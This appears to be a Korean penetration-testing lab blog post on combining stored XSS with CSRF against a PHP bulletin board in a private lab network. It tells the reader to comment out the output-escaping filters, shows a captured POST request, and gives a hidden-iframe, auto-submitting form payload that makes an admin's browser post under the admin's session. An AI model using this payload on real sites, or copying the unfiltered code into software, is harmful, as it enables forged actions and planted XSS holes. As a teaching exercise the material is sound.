Linux/모의해킹

CSRF 를 이용한 게시판 글쓰기 2

GGkeeper 2022. 1. 25. 19:54

실습> CSRF를 이용한 게시판 글쓰기 2


CSRF 실습 문제점 : 
관리자가 게시글을 클릭하면 내용이 안보이고 submit() 메소드에 의해서 튕긴다.
이를 해결하기 위해서는 <iframe> 태그를 이용한다.

<iframe> 태그는 html 태그에서 include 역할을 한다.

1. iframe 사용법 
폼 태그 속성 
name   : 폼을 식별하기 위한 이름
action : 폼 내용을 전송할 곳
method : 전송 방식
target : action 에서 지정한 내용이 현재 창이 아닌 이곳에서 열도록 지정
아래 파일을 생성하고 <iframe> 태그 사용법을 확인한다.

-- iframe.html --
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>iframe test </title>
</head>
<body>
iframe test1 <br>
<iframe src=http://iei.or.kr/ width=300 height=300> <br>
iframe test2 
</body>
-- iframe.html --

-- iframe2.html --
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"/>
<title>iframe test </title>
</head>
<body>
iframe test2 <br>
<form target=iframetest>
<!--<form>-->
<input type=text name=userid>
<input type=submit value=전송>
</form>
<br>
<?
if(isset($_GET['userid']))
    print_r($_GET);
?>
<br>
<!-- <iframe name=iframetest width=0 height=0> -->
<iframe width=300 height=300>

</body>
</html>
-- iframe2.html --


2. 브라우저 2개 실행
세 세션으로 세션을 다르게해서 브라우저를 실행한다.
첫 번째 브라우저 : 관리자(admin/111111)로 로그인한다.
두 번째 브라우저 : 공격자(blackhat/111111)로 로그인한다.

3. 프록시 설정
Burp 로 프록시를 설정한다.

4. 쿠키값 확인
Burp or EditThisCookie 에서 각 브라우저의 쿠키값을 확인한다.
첫 번째 브라우저(관리자) : 0rheh1nbu9jcgfrpjj02bjh4l4
두 번째 브라우저(공격자) : 3ovodk4h07880b72saa165ru34

[root@www ~]# cat /var/lib/php/session/sess_0rheh1nbu9jcgfrpjj02bjh4l4
userid|s:5:"admin";username|s:9:"관리자";

[root@www ~]# cat /var/lib/php/session/sess_3ovodk4h07880b72saa165ru34
userid|s:8:"blackhat";username|s:9:"블랙햇";

5. read.html에서 코드 수정
필터링을 한 코드를 모두 주석으로 처리하고 필터링을 하지 않은 코드의 주석을 해제한다.

   <td colspan=3 height=100 width=400>
    <?
    // 필터링 하지 않은 코드
    echo $row['contents'];
    ?>

    <?
    // 필터링을 한 코드
    // $contents = str_replace("<script>", "", $row['contents']);
    //$contents = str_replace("<", "&lt;", $row['contents']);
    //echo $contents;
    ?>
   </td>

6. writeok.html에서 코드 수정 
필터링을 한 코드를 모두 주석으로 처리한다.
// 필터링 부분
// $contents = str_replace("<", "&lt;", $contents);   

7. 게시판의 글쓰기 분석
게시글을 작성하고 전송한 후 프록시에서 어떤 변수들이 전송되는지 분석한다.


POST /writeok.html HTTP/1.1
Host: 192.168.108.101
Content-Length: 689
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.108.101
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5A7CxjKLa3AKQW2F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.108.101/?id=bbs1&m=write
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9
Cookie: PHPSESSID=3ovodk4h07880b72saa165ru34
Connection: close

------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="id"

bbs1
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="username"

blackhat
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="title"

csrf test
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="passwd"

1234
------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="upfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary5A7CxjKLa3AKQW2F
Content-Disposition: form-data; name="contents"

csrf test2
------WebKitFormBoundary5A7CxjKLa3AKQW2F--

위에서 POST 방식으로 /writeok.html로 변수와 값이 넘어가는 것을 확인할 수 있다.

POST /writeok.html

id=bbs1
username=blackhat
title=csrf test
passwd=1234
upfile=
filename=
contents=csrf test2

8. 게시글 작성
공격자가 로그인한 두 번째 브라우저에서 아래 악성글을 저장한다.
관리자가 게시글을 확인하는 순가 자신의 권한으로 글이 자동으로 저장된다.

이름 : blackhat
제목 : 관리자님 안녕하세요.
비밀번호 : 1234
내용 : 
관리자님 안녕하세요.

<iframe name=csrfiframe width=0 height=0></iframe>
<form id=csrftest target=csrfiframe
      method=POST action=/writeok.html enctype=multipart/form-data>
<input type=hidden name=id value=bbs1>
<input type=hidden name=username value=admin>
<input type=hidden name=title value="csrf test">
<input type=hidden name=passwd value=1234>
<input type=hidden name=upfile value=>
<input type=hidden name=filename value=>
<input type=hidden name=contents value="csrf test2">
</form>
<script>document.getElementById("csrftest").submit();</script>

게시글을 보는 순간 document.getElementById("csrftest").submit(); 메소드에 의해서 게시글이 
저장되고 <iframe> 태그에 의해서 게시글의 목록으로 이동되지 않는다.